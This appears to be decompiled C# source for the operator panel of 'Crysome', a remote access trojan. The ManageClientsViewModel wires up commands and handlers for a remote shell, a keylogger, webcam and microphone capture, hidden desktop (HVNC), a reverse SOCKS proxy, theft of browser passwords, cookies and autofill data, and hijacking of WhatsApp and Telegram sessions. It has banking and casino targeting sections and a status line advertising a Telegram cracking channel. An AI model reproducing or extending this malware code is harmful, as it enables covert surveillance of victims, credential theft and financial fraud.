Files
2026-08-27 11:22:54 -06:00

4266 lines
121 KiB
C#
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.ComponentModel;
using System.IO;
using System.Linq;
using System.Media;
using System.Net;
using System.Net.Sockets;
using System.Reflection;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Threading;
using Crysome.Common.Network;
using Crysome.Common.Network.FileTransfer;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;
using Crysome.Server.Data;
using Crysome.Server.Model;
using Crysome.Server.Network;
using Crysome.Server.View;
using Microsoft.Win32;
namespace Crysome.Server.ViewModel;
public class ManageClientsViewModel : ViewModelBase
{
private class RdpQualityState
{
public int Level = 6;
public int CurrentQuality = 80;
public int GoodStreak;
public int BadStreak;
public DateTime LastFrameTime = DateTime.MinValue;
public int IntervalMs = 33;
}
private sealed class ReverseProxyState
{
public TcpListener Listener;
public int NextConnectionId;
public ConcurrentDictionary<int, TcpClient> Connections = new ConcurrentDictionary<int, TcpClient>();
public volatile bool Running;
public CrysomeClient Owner;
}
private readonly MainViewModel _mainViewModel;
private CrysomeServer server;
private readonly AppDataStore store = new AppDataStore();
private readonly DispatcherTimer infoTimer;
private readonly ConcurrentDictionary<uint, FtSender> _activeSenders = new ConcurrentDictionary<uint, FtSender>();
private readonly DispatcherTimer _uiThrottleTimer;
private bool _pendingUpdates;
private readonly object _clientLock = new object();
private int infoRobin;
private string _lastCmd = "";
private string _lastFilePath = "";
private long _nextExplorerOpId;
private readonly ConcurrentDictionary<(CrysomeClient Client, long Id), Action<ReadFileResponsePacket>> _pendingReadFileResponses = new ConcurrentDictionary<(CrysomeClient, long), Action<ReadFileResponsePacket>>();
private readonly ConcurrentDictionary<(CrysomeClient Client, long Id), Action<WriteFileResponsePacket>> _pendingWriteFileResponses = new ConcurrentDictionary<(CrysomeClient, long), Action<WriteFileResponsePacket>>();
private readonly ConcurrentDictionary<(CrysomeClient Client, long Id), Action<GetDirectoryResponsePacket>> _pendingGetDirectoryResponses = new ConcurrentDictionary<(CrysomeClient, long), Action<GetDirectoryResponsePacket>>();
private readonly ConcurrentDictionary<(CrysomeClient Client, long Id), Action<GetDrivesResponsePacket>> _pendingGetDrivesResponses = new ConcurrentDictionary<(CrysomeClient, long), Action<GetDrivesResponsePacket>>();
private readonly ConcurrentDictionary<CrysomeClient, FileExplorerViewModel> _activeFileExplorers = new ConcurrentDictionary<CrysomeClient, FileExplorerViewModel>();
private readonly HashSet<string> _logCategoryHide = new HashSet<string>(StringComparer.OrdinalIgnoreCase) { "MIC", "CAM" };
private ICollectionView _logEntriesView;
private ClientInfo _selectedClient;
private List<ClientInfo> _selectedClients = new List<ClientInfo>();
private string _serverStatus = "Stopped • t.me/CuriousCracks";
private int _clientCount;
private string _statusMessage = "";
private List<ClientInfo> allClients = new List<ClientInfo>();
private int _proxyStartCount;
private readonly List<(string Address, string Port)> _proxyResultsForModal = new List<(string, string)>();
private DispatcherTimer _proxyModalTimer;
private readonly Dictionary<CrysomeClient, Action<GetProcessListResponsePacket>> _processListCallbacks = new Dictionary<CrysomeClient, Action<GetProcessListResponsePacket>>();
private readonly Dictionary<CrysomeClient, Action<string>> _shellOutputCallbacks = new Dictionary<CrysomeClient, Action<string>>();
private readonly Dictionary<CrysomeClient, Action<byte[]>> _audioDataCallbacks = new Dictionary<CrysomeClient, Action<byte[]>>();
private readonly Dictionary<CrysomeClient, Action<byte[]>> _cameraFrameCallbacks = new Dictionary<CrysomeClient, Action<byte[]>>();
private readonly Dictionary<CrysomeClient, Action<byte[]>> _desktopFrameHandlers = new Dictionary<CrysomeClient, Action<byte[]>>();
private readonly Dictionary<CrysomeClient, Action<byte[]>> _hvncFrameHandlers = new Dictionary<CrysomeClient, Action<byte[]>>();
private readonly Dictionary<CrysomeClient, ReverseProxyState> _reverseProxyState = new Dictionary<CrysomeClient, ReverseProxyState>();
private readonly Dictionary<CrysomeClient, Action<string>> _keyloggerCallbacks = new Dictionary<CrysomeClient, Action<string>>();
private readonly Dictionary<CrysomeClient, Action<string, string>> _chatHandlers = new Dictionary<CrysomeClient, Action<string, string>>();
private readonly Dictionary<CrysomeClient, Action<string[]>> _cameraDevicesCallbacks = new Dictionary<CrysomeClient, Action<string[]>>();
private readonly Dictionary<CrysomeClient, Action<string[]>> _audioDevicesCallbacks = new Dictionary<CrysomeClient, Action<string[]>>();
private readonly Dictionary<CrysomeClient, Action<byte[]>> _audioStreamHandlers = new Dictionary<CrysomeClient, Action<byte[]>>();
private readonly Dictionary<CrysomeClient, Action<ScreensResponsePacket>> _screensCallbacks = new Dictionary<CrysomeClient, Action<ScreensResponsePacket>>();
private readonly Dictionary<CrysomeClient, Action<int>> _rdpQualityCallbacks = new Dictionary<CrysomeClient, Action<int>>();
private readonly Dictionary<CrysomeClient, RdpQualityState> _rdpQualityStates = new Dictionary<CrysomeClient, RdpQualityState>();
private static readonly (int Quality, int IntervalMs)[] _rdpLevels = new(int, int)[7]
{
(30, 100),
(40, 66),
(50, 50),
(60, 40),
(70, 33),
(80, 25),
(85, 16)
};
private bool _isRefreshingClientList;
private string _filterCountry = "All";
private string _filterOS = "All";
private string _filterGroup = "All";
private string _filterPing = "All";
private int _uniqueCountriesCount;
private int _averagePing;
private int _activeWindowsCount;
private int _activeHvncCount;
private int _activeRdpCount;
private bool _appsExpanded;
private bool _bankExpanded;
private bool _casinoExpanded;
private string _newBlocklistIP = "";
private string _blocklistSelectedIP;
private readonly ConcurrentDictionary<CrysomeClient, Action<string, bool>> _offlineKeylogCallbacks = new ConcurrentDictionary<CrysomeClient, Action<string, bool>>();
public ObservableCollection<ClientInfo> Clients { get; set; }
public ObservableCollection<LogLineEntry> LogEntries { get; set; }
public string LogCategoryFilter
{
get
{
return string.Join(",", _logCategoryHide);
}
set
{
_logCategoryHide.Clear();
if (!string.IsNullOrWhiteSpace(value))
{
string[] array = value.Split(new char[2] { ',', ';' }, StringSplitOptions.RemoveEmptyEntries);
foreach (string text in array)
{
_logCategoryHide.Add(text.Trim());
}
}
OnPropertyChanged("LogCategoryFilter");
try
{
ICollectionView logEntriesView = LogEntriesView;
if (logEntriesView != null)
{
logEntriesView.Refresh();
}
}
catch
{
}
}
}
public ICollectionView LogEntriesView
{
get
{
return _logEntriesView;
}
private set
{
_logEntriesView = value;
OnPropertyChanged("LogEntriesView");
}
}
public ClientInfo SelectedClient
{
get
{
return _selectedClient;
}
set
{
_selectedClient = value;
OnPropertyChanged("SelectedClient");
OnPropertyChanged("IsItemSelected");
}
}
public bool IsItemSelected => SelectedClient != null;
public List<ClientInfo> SelectedClients => _selectedClients;
public string ServerStatus
{
get
{
return _serverStatus;
}
set
{
_serverStatus = value;
OnPropertyChanged("ServerStatus");
}
}
public int ClientCount
{
get
{
return _clientCount;
}
set
{
_clientCount = value;
OnPropertyChanged("ClientCount");
}
}
public string StatusMessage
{
get
{
return _statusMessage;
}
set
{
_statusMessage = value ?? "";
OnPropertyChanged("StatusMessage");
}
}
public ICommand SendCommandCmd { get; }
public ICommand SendCommandAllCmd { get; }
public ICommand SendFileCmd { get; }
public ICommand SendFileAllCmd { get; }
public ICommand DirectLinkCmd { get; }
public ICommand DirectLinkAllCmd { get; }
public ICommand CopySummaryCmd { get; }
public ICommand PinToTopCmd { get; }
public ICommand ExportSelectionCmd { get; }
public ICommand Mute30Cmd { get; }
public ICommand QuickHealthCmd { get; }
public ICommand RepeatLastCmdCmd { get; }
public ICommand RepeatLastFileCmd { get; }
public ICommand AnnounceToggleCmd { get; }
public ICommand EditNoteCmd { get; }
public ICommand RestartClientCmd { get; }
public ICommand OpenFileManagerCmd { get; }
public ICommand OpenBuilderCmd { get; }
public ICommand OpenSettingsCmd { get; }
public ICommand CloseAppCmd { get; }
public ICommand OpenPluginsCmd { get; }
public ICommand Socks5ProxyCmd { get; }
public ICommand TakeScreenshotCmd { get; }
public ICommand ProcessManagerCmd { get; }
public ICommand RemoteShellCmd { get; }
public ICommand RemoteAudioCmd { get; }
public ICommand RemoteCameraCmd { get; }
public ICommand RemoteDesktopCmd { get; }
public ICommand HvncCmd { get; }
public ICommand KeyloggerCmd { get; }
public ICommand RemoteChatCmd { get; }
public ICommand CredentialsPasswordsCmd { get; }
public ICommand CredentialsCookiesCmd { get; }
public ICommand CredentialsBothCmd { get; }
public ICommand CredentialsAutofillsCmd { get; }
public ICommand CredentialsAllCmd { get; }
public ICommand WhatsAppSessionCmd { get; }
public ICommand TelegramSessionCmd { get; }
public ICommand ToggleAppsExpandCmd { get; }
public ICommand ToggleBankExpandCmd { get; }
public ICommand ToggleCasinoExpandCmd { get; }
public ICommand StartServerCmd { get; }
public ICommand StopServerCmd { get; }
public ICommand ExportLogCmd { get; }
public ICommand AddBlocklistCmd { get; }
public ICommand RemoveBlocklistCmd { get; }
public ICommand BlockSelectedClientCmd { get; }
public ICommand ClearFiltersCmd { get; }
public bool IsSendCommandEnabled => store.IsContextMenuFeatureEnabled("SendCommand");
public bool IsSendCommandAllEnabled => store.IsContextMenuFeatureEnabled("SendCommandAll");
public bool IsSendFileEnabled => store.IsContextMenuFeatureEnabled("SendFile");
public bool IsSendFileAllEnabled => store.IsContextMenuFeatureEnabled("SendFileAll");
public bool IsDirectLinkEnabled => store.IsContextMenuFeatureEnabled("DirectLink");
public bool IsDirectLinkAllEnabled => store.IsContextMenuFeatureEnabled("DirectLinkAll");
public bool IsSocks5ProxyEnabled => store.IsContextMenuFeatureEnabled("Socks5Proxy");
public bool IsTakeScreenshotEnabled => store.IsContextMenuFeatureEnabled("TakeScreenshot");
public bool IsFileManagerEnabled => store.IsContextMenuFeatureEnabled("FileManager");
public bool IsRestartEnabled => store.IsContextMenuFeatureEnabled("Restart");
public bool IsCopySummaryEnabled => store.IsContextMenuFeatureEnabled("CopySummary");
public bool IsBlockIPEnabled => store.IsContextMenuFeatureEnabled("BlockIP");
public bool IsPinToTopEnabled => store.IsContextMenuFeatureEnabled("PinToTop");
public bool IsExportEnabled => store.IsContextMenuFeatureEnabled("Export");
public bool IsMute30Enabled => store.IsContextMenuFeatureEnabled("Mute30");
public bool IsNoteEnabled => store.IsContextMenuFeatureEnabled("Note");
public bool IsProcessManagerEnabled => store.IsContextMenuFeatureEnabled("ProcessManager");
public bool IsRemoteShellEnabled => store.IsContextMenuFeatureEnabled("RemoteShell");
public bool IsRemoteAudioEnabled => store.IsContextMenuFeatureEnabled("RemoteAudio");
public bool IsRemoteCameraEnabled => store.IsContextMenuFeatureEnabled("RemoteCamera");
public bool IsRemoteDesktopEnabled => store.IsContextMenuFeatureEnabled("RemoteDesktop");
public bool IsHvncEnabled => store.IsContextMenuFeatureEnabled("HVNC");
public bool IsCredentialsEnabled => store.IsContextMenuFeatureEnabled("Credentials");
public bool IsKeyloggerEnabled => store.IsContextMenuFeatureEnabled("Keylogger");
public bool IsRemoteChatEnabled => store.IsContextMenuFeatureEnabled("RemoteChat");
public string FilterCountry
{
get
{
return _filterCountry;
}
set
{
string text = value ?? "All";
if (!(_filterCountry == text))
{
_filterCountry = text;
OnPropertyChanged("FilterCountry");
if (!_isRefreshingClientList)
{
RefreshClientList();
}
}
}
}
public string FilterOS
{
get
{
return _filterOS;
}
set
{
string text = value ?? "All";
if (!(_filterOS == text))
{
_filterOS = text;
OnPropertyChanged("FilterOS");
if (!_isRefreshingClientList)
{
RefreshClientList();
}
}
}
}
public string FilterGroup
{
get
{
return _filterGroup;
}
set
{
string text = value ?? "All";
if (!(_filterGroup == text))
{
_filterGroup = text;
OnPropertyChanged("FilterGroup");
if (!_isRefreshingClientList)
{
RefreshClientList();
}
}
}
}
public string FilterPing
{
get
{
return _filterPing;
}
set
{
string text = value ?? "All";
if (!(_filterPing == text))
{
_filterPing = text;
OnPropertyChanged("FilterPing");
if (!_isRefreshingClientList)
{
RefreshClientList();
}
}
}
}
public ObservableCollection<string> AvailableCountries { get; } = new ObservableCollection<string>();
public ObservableCollection<string> AvailableOSes { get; } = new ObservableCollection<string>();
public ObservableCollection<string> FilterCountryOptions { get; } = new ObservableCollection<string> { "All" };
public ObservableCollection<string> FilterOSOptions { get; } = new ObservableCollection<string> { "All" };
public ObservableCollection<string> FilterGroupOptions { get; } = new ObservableCollection<string> { "All" };
public ObservableCollection<string> FilterPingOptions { get; } = new ObservableCollection<string> { "All", "Good (<100ms)", "Medium (<300ms)", "High (>300ms)" };
public ObservableCollection<string> BlockedIPsList { get; } = new ObservableCollection<string>();
public int UniqueCountriesCount
{
get
{
return _uniqueCountriesCount;
}
private set
{
_uniqueCountriesCount = value;
OnPropertyChanged("UniqueCountriesCount");
}
}
public int AveragePing
{
get
{
return _averagePing;
}
private set
{
_averagePing = value;
OnPropertyChanged("AveragePing");
}
}
public int ActiveWindowsCount
{
get
{
return _activeWindowsCount;
}
private set
{
_activeWindowsCount = value;
OnPropertyChanged("ActiveWindowsCount");
}
}
public int ActiveHvncCount
{
get
{
return _activeHvncCount;
}
set
{
_activeHvncCount = value;
OnPropertyChanged("ActiveHvncCount");
}
}
public int ActiveRdpCount
{
get
{
return _activeRdpCount;
}
set
{
_activeRdpCount = value;
OnPropertyChanged("ActiveRdpCount");
}
}
public bool AppsExpanded
{
get
{
return _appsExpanded;
}
set
{
_appsExpanded = value;
OnPropertyChanged("AppsExpanded");
OnPropertyChanged("AppsToggleText");
}
}
public string AppsToggleText
{
get
{
if (!_appsExpanded)
{
return "▼";
}
return "▲";
}
}
public bool BankExpanded
{
get
{
return _bankExpanded;
}
set
{
_bankExpanded = value;
OnPropertyChanged("BankExpanded");
OnPropertyChanged("BankToggleText");
}
}
public string BankToggleText
{
get
{
if (!_bankExpanded)
{
return "▼";
}
return "▲";
}
}
public bool CasinoExpanded
{
get
{
return _casinoExpanded;
}
set
{
_casinoExpanded = value;
OnPropertyChanged("CasinoExpanded");
OnPropertyChanged("CasinoToggleText");
}
}
public string CasinoToggleText
{
get
{
if (!_casinoExpanded)
{
return "▼";
}
return "▲";
}
}
public string NewBlocklistIP
{
get
{
return _newBlocklistIP;
}
set
{
_newBlocklistIP = value ?? "";
OnPropertyChanged("NewBlocklistIP");
}
}
public string BlocklistSelectedIP
{
get
{
return _blocklistSelectedIP;
}
set
{
_blocklistSelectedIP = value;
OnPropertyChanged("BlocklistSelectedIP");
}
}
public AppDataStore Store => store;
public CrysomeServer Server => server;
public long NextExplorerOpId()
{
return Interlocked.Increment(ref _nextExplorerOpId);
}
public void RegisterActiveFileExplorer(CrysomeClient owner, FileExplorerViewModel vm)
{
if (owner != null)
{
_activeFileExplorers[owner] = vm;
}
}
public void UnregisterActiveFileExplorer(CrysomeClient owner, FileExplorerViewModel vm)
{
if (owner != null)
{
_activeFileExplorers.TryRemove(owner, out var _);
}
}
public void RegisterReadFileCallback(CrysomeClient client, long transferId, Action<ReadFileResponsePacket> cb)
{
_pendingReadFileResponses[(client, transferId)] = cb;
}
public void RegisterWriteFileCallback(CrysomeClient client, long transferId, Action<WriteFileResponsePacket> cb)
{
_pendingWriteFileResponses[(client, transferId)] = cb;
}
public void RegisterGetDirectoryCallback(CrysomeClient client, long requestId, Action<GetDirectoryResponsePacket> cb)
{
if (requestId != 0L)
{
_pendingGetDirectoryResponses[(client, requestId)] = cb;
}
}
public void RegisterGetDrivesCallback(CrysomeClient client, long requestId, Action<GetDrivesResponsePacket> cb)
{
if (requestId != 0L)
{
_pendingGetDrivesResponses[(client, requestId)] = cb;
}
}
public void SyncSelectedClients(List<ClientInfo> items)
{
_selectedClients = items ?? new List<ClientInfo>();
OnPropertyChanged("SelectedClients");
}
public void EnqueueStatus(string msg)
{
//IL_0015: Unknown result type (might be due to invalid IL or missing references)
//IL_001a: Unknown result type (might be due to invalid IL or missing references)
//IL_002c: Expected O, but got Unknown
StatusMessage = msg;
DispatcherTimer t = new DispatcherTimer
{
Interval = TimeSpan.FromSeconds(3L)
};
t.Tick += delegate
{
StatusMessage = "";
t.Stop();
};
t.Start();
}
public void NotifyContextMenuFeaturesChanged()
{
OnPropertyChanged("IsSendCommandEnabled");
OnPropertyChanged("IsSendCommandAllEnabled");
OnPropertyChanged("IsSendFileEnabled");
OnPropertyChanged("IsSendFileAllEnabled");
OnPropertyChanged("IsDirectLinkEnabled");
OnPropertyChanged("IsDirectLinkAllEnabled");
OnPropertyChanged("IsSocks5ProxyEnabled");
OnPropertyChanged("IsTakeScreenshotEnabled");
OnPropertyChanged("IsFileManagerEnabled");
OnPropertyChanged("IsRestartEnabled");
OnPropertyChanged("IsCopySummaryEnabled");
OnPropertyChanged("IsBlockIPEnabled");
OnPropertyChanged("IsPinToTopEnabled");
OnPropertyChanged("IsExportEnabled");
OnPropertyChanged("IsMute30Enabled");
OnPropertyChanged("IsNoteEnabled");
OnPropertyChanged("IsProcessManagerEnabled");
OnPropertyChanged("IsRemoteShellEnabled");
OnPropertyChanged("IsRemoteAudioEnabled");
OnPropertyChanged("IsRemoteCameraEnabled");
OnPropertyChanged("IsRemoteDesktopEnabled");
OnPropertyChanged("IsHvncEnabled");
OnPropertyChanged("IsCredentialsEnabled");
OnPropertyChanged("IsKeyloggerEnabled");
OnPropertyChanged("IsRemoteChatEnabled");
}
public ManageClientsViewModel(MainViewModel mainViewModel)
{
//IL_0779: Unknown result type (might be due to invalid IL or missing references)
//IL_077e: Unknown result type (might be due to invalid IL or missing references)
//IL_07a1: Expected O, but got Unknown
//IL_07b9: Unknown result type (might be due to invalid IL or missing references)
//IL_07be: Unknown result type (might be due to invalid IL or missing references)
//IL_07d6: Expected O, but got Unknown
_mainViewModel = mainViewModel;
Clients = new ObservableCollection<ClientInfo>();
LogEntries = new ObservableCollection<LogLineEntry>();
CollectionViewSource collectionViewSource = new CollectionViewSource
{
Source = LogEntries
};
collectionViewSource.Filter += LogEntries_Filter;
LogEntriesView = collectionViewSource.View;
SendCommandCmd = new RelayCommand<object>(delegate
{
DoSendCommand(all: false);
});
SendCommandAllCmd = new RelayCommand<object>(delegate
{
DoSendCommand(all: true);
});
SendFileCmd = new RelayCommand<object>(delegate
{
DoSendFile(all: false);
});
SendFileAllCmd = new RelayCommand<object>(delegate
{
DoSendFile(all: true);
});
DirectLinkCmd = new RelayCommand<object>(delegate
{
DoDirectLink(all: false);
});
DirectLinkAllCmd = new RelayCommand<object>(delegate
{
DoDirectLink(all: true);
});
CopySummaryCmd = new RelayCommand<object>(delegate
{
DoCopySummary();
});
PinToTopCmd = new RelayCommand<object>(delegate
{
DoPinToTop();
});
ExportSelectionCmd = new RelayCommand<object>(delegate
{
DoExportSelection();
});
Mute30Cmd = new RelayCommand<object>(delegate
{
DoMute30();
});
QuickHealthCmd = new RelayCommand<object>(delegate
{
DoQuickHealth();
});
RepeatLastCmdCmd = new RelayCommand<object>(delegate
{
DoRepeatLastCmd();
});
RepeatLastFileCmd = new RelayCommand<object>(delegate
{
DoRepeatLastFile();
});
AnnounceToggleCmd = new RelayCommand<object>(delegate
{
DoAnnounceToggle();
});
EditNoteCmd = new RelayCommand<object>(delegate
{
DoEditNote();
});
RestartClientCmd = new RelayCommand<object>(delegate
{
DoRestart();
});
OpenFileManagerCmd = new RelayCommand<object>(delegate
{
DoOpenFileManager();
});
OpenBuilderCmd = new RelayCommand<object>(delegate
{
_mainViewModel.GoToBuilder();
});
OpenSettingsCmd = new RelayCommand<object>(delegate
{
_mainViewModel.GoToSettings();
});
CloseAppCmd = new RelayCommand<object>(delegate
{
Application.Current.Shutdown();
});
OpenPluginsCmd = new RelayCommand<object>(delegate
{
_mainViewModel.GoToPlugins();
});
Socks5ProxyCmd = new RelayCommand<object>(delegate
{
DoSocks5Proxy();
});
TakeScreenshotCmd = new RelayCommand<object>(delegate
{
DoTakeScreenshot();
});
ProcessManagerCmd = new RelayCommand<object>(delegate
{
DoProcessManager();
});
RemoteShellCmd = new RelayCommand<object>(delegate
{
DoRemoteShell();
});
RemoteAudioCmd = new RelayCommand<object>(delegate
{
DoRemoteAudio();
});
RemoteCameraCmd = new RelayCommand<object>(delegate
{
DoRemoteCamera();
});
RemoteDesktopCmd = new RelayCommand<object>(delegate
{
DoRemoteDesktop();
});
HvncCmd = new RelayCommand<object>(delegate
{
DoHvnc();
});
KeyloggerCmd = new RelayCommand<object>(delegate
{
DoKeylogger();
});
RemoteChatCmd = new RelayCommand<object>(delegate
{
DoRemoteChat();
});
CredentialsPasswordsCmd = new RelayCommand<object>(delegate
{
DoRequestCredentials(0);
});
CredentialsCookiesCmd = new RelayCommand<object>(delegate
{
DoRequestCredentials(1);
});
CredentialsBothCmd = new RelayCommand<object>(delegate
{
DoRequestCredentials(2);
});
CredentialsAutofillsCmd = new RelayCommand<object>(delegate
{
DoRequestCredentials(3);
});
CredentialsAllCmd = new RelayCommand<object>(delegate
{
DoRequestCredentials(4);
});
WhatsAppSessionCmd = new RelayCommand<object>(delegate
{
DoWhatsAppSession();
});
TelegramSessionCmd = new RelayCommand<object>(delegate
{
DoTelegramSession();
});
ToggleAppsExpandCmd = new RelayCommand<object>(delegate
{
AppsExpanded = !AppsExpanded;
});
ToggleBankExpandCmd = new RelayCommand<object>(delegate
{
BankExpanded = !BankExpanded;
});
ToggleCasinoExpandCmd = new RelayCommand<object>(delegate
{
CasinoExpanded = !CasinoExpanded;
});
StartServerCmd = new RelayCommand<object>(delegate
{
DoStartServer();
});
StopServerCmd = new RelayCommand<object>(delegate
{
DoStopServer();
});
ExportLogCmd = new RelayCommand<object>(delegate
{
DoExportLog();
});
AddBlocklistCmd = new RelayCommand<object>(delegate
{
DoAddBlocklist();
});
RemoveBlocklistCmd = new RelayCommand<object>(delegate
{
DoRemoveBlocklist();
});
BlockSelectedClientCmd = new RelayCommand<object>(delegate
{
DoBlockSelectedClient();
});
ClearFiltersCmd = new RelayCommand<object>(delegate
{
FilterCountry = "All";
FilterOS = "All";
FilterGroup = "All";
FilterPing = "All";
});
store.Load();
BlockedIPsList.Clear();
foreach (string item in store.BlockedIPs.OrderBy((string x) => x))
{
BlockedIPsList.Add(item);
}
infoTimer = new DispatcherTimer
{
Interval = TimeSpan.FromMilliseconds(store.Settings.InfoPollInterval, 0L)
};
infoTimer.Tick += InfoTimer_Tick;
_uiThrottleTimer = new DispatcherTimer
{
Interval = TimeSpan.FromMilliseconds(500L, 0L)
};
_uiThrottleTimer.Tick += ProcessClientUpdates;
_uiThrottleTimer.Start();
DoStartServer();
}
private void DoStartServer()
{
try
{
if (server != null)
{
server.Stop();
}
server = new CrysomeServer
{
Port = store.Settings.Port,
QuicPort = store.Settings.QuicPort,
Store = store
};
server.ClientConnected += Server_ClientConnected;
server.ClientDisconnected += Server_ClientDisconnected;
server.PacketChannel.RegisterHandler<GetSystemInfoResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleSystemInfo(s, pk);
});
server.PacketChannel.RegisterHandler<ClientInfoResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleClientInfo(s, pk);
});
server.PacketChannel.RegisterHandler<PingResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandlePingResponse(s, pk);
});
server.PacketChannel.RegisterHandler<RunCommandResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleCommandResponse(s, pk);
});
server.PacketChannel.RegisterHandler<FileTransferResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleFileResponse(s, pk);
});
server.PacketChannel.RegisterHandler<FtSackPacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleFtSack(s, pk);
});
server.PacketChannel.RegisterHandler<FtDonePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleFtDone(s, pk);
});
server.PacketChannel.RegisterHandler<DirectLinkResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleDirectLinkResponse(s, pk);
});
server.PacketChannel.RegisterHandler<ProxyStatusResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleProxyStatus(s, pk);
});
server.PacketChannel.RegisterHandler<TakeScreenshotResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleScreenshotResponse(s, pk);
});
server.PacketChannel.RegisterHandler<CredentialsResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleCredentialsResponse(s, pk);
});
server.PacketChannel.RegisterHandler<GetProcessListResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleProcessListResponse(s, pk);
});
server.PacketChannel.RegisterHandler<AudioDataPacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleAudioData(s, pk);
});
server.PacketChannel.RegisterHandler<CameraFramePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleCameraFrame(s, pk);
});
server.PacketChannel.RegisterHandler<DesktopFramePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleDesktopFrame(s, pk);
});
server.PacketChannel.RegisterHandler<HvncFramePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleHvncFrame(s, pk);
});
server.PacketChannel.RegisterHandler<ReverseProxyDataPacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleReverseProxyData(s, pk);
});
server.PacketChannel.RegisterHandler<ReverseProxyEndPacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleReverseProxyEnd(s, pk);
});
server.PacketChannel.RegisterHandler<KeylogDataPacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleKeylogData(s, pk);
});
server.PacketChannel.RegisterHandler<OfflineKeylogDataPacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleOfflineKeylogData(s, pk);
});
server.PacketChannel.RegisterHandler<ChatMessagePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleChatMessage(s, pk);
});
server.PacketChannel.RegisterHandler<CameraDevicesResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleCameraDevicesResponse(s, pk);
});
server.PacketChannel.RegisterHandler<AudioDevicesResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleAudioDevicesResponse(s, pk);
});
server.PacketChannel.RegisterHandler<AudioStreamChunkPacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleAudioStreamChunk(s, pk);
});
server.PacketChannel.RegisterHandler<ScreensResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleScreensResponse(s, pk);
});
server.PacketChannel.RegisterHandler<ReadFileResponsePacket>(RouteReadFileResponse);
server.PacketChannel.RegisterHandler<WriteFileResponsePacket>(RouteWriteFileResponse);
server.PacketChannel.RegisterHandler<GetDirectoryResponsePacket>(RouteGetDirectoryResponse);
server.PacketChannel.RegisterHandler<GetDrivesResponsePacket>(RouteGetDrivesResponse);
server.PacketChannel.RegisterHandler<NotifyStatusResponsePacket>(RouteNotifyStatus);
server.PacketChannel.RegisterHandler<ClientInventoryReportPacket>(HandleClientInventoryReport);
server.PacketChannel.RegisterHandler<WhatsAppSessionResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleWhatsAppSessionResponse(s, pk);
});
server.PacketChannel.RegisterHandler<TelegramSessionResponsePacket>(delegate(CrysomeClient s, IPacket pk)
{
HandleTelegramSessionResponse(s, pk);
});
server.UdpFrameReceived += Server_UdpFrameReceived;
server.Start();
infoTimer.Start();
StringBuilder stringBuilder = new StringBuilder();
if (store.Settings.Port > 0)
{
stringBuilder.Append("RUDP ").Append(store.Settings.Port).Append(" (Builder / .NET Framework)");
}
if (store.Settings.QuicPort > 0)
{
if (stringBuilder.Length > 0)
{
stringBuilder.Append(", ");
}
stringBuilder.Append("QUIC ").Append(store.Settings.QuicPort);
}
string text = stringBuilder.ToString();
ServerStatus = "Listening — " + text + " • t.me/CuriousCracks";
Log("Server started — " + text, "SYS");
FlagCache.Get("US");
}
catch (Exception ex)
{
ServerStatus = "FAILED";
Log("Server start failed: " + ex.Message, "SYS");
EnqueueStatus("Server start failed: " + ex.Message);
}
}
private void DoStopServer()
{
try
{
infoTimer.Stop();
server?.Stop();
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
{
allClients.Clear();
Clients.Clear();
UpdateFilterOptions();
});
ServerStatus = "Stopped";
ClientCount = 0;
Log("Server stopped", "SYS");
}
catch (Exception ex)
{
Log("Stop error: " + ex.Message, "SYS");
}
}
private void Server_ClientConnected(object sender, ClientEventArgs e)
{
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
{
string addr = e.Client.RemoteAddress?.Address?.ToString() ?? "?";
if (store.BlockedIPs.Contains(addr))
{
Log("Blocked: " + addr, "SYS");
try
{
server?.DisconnectClient(e.Client);
return;
}
catch
{
return;
}
}
if (!allClients.Any((ClientInfo c) => c.Owner == e.Client))
{
int port = e.Client.RemoteAddress?.Port ?? 0;
ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Address == addr && c.Port == port);
if (clientInfo != null)
{
clientInfo.Owner = e.Client;
}
else
{
ClientInfo clientInfo2 = new ClientInfo
{
Owner = e.Client,
SessionId = Guid.NewGuid().ToString("N"),
Address = (e.Client.RemoteAddress?.Address?.ToString() ?? "?"),
Port = (e.Client.RemoteAddress?.Port ?? 0),
ConnectTime = DateTime.Now
};
string address = clientInfo2.Address;
if (store.Notes.ContainsKey(address))
{
clientInfo2.Notes = store.Notes[address];
}
if (store.PinnedIPs.Contains(address))
{
clientInfo2.IsPinned = true;
}
if (store.AnnounceIPs.Contains(address))
{
clientInfo2.IsAnnounce = true;
}
if (store.MutedIPs.ContainsKey(address) && store.MutedIPs[address] > DateTime.Now)
{
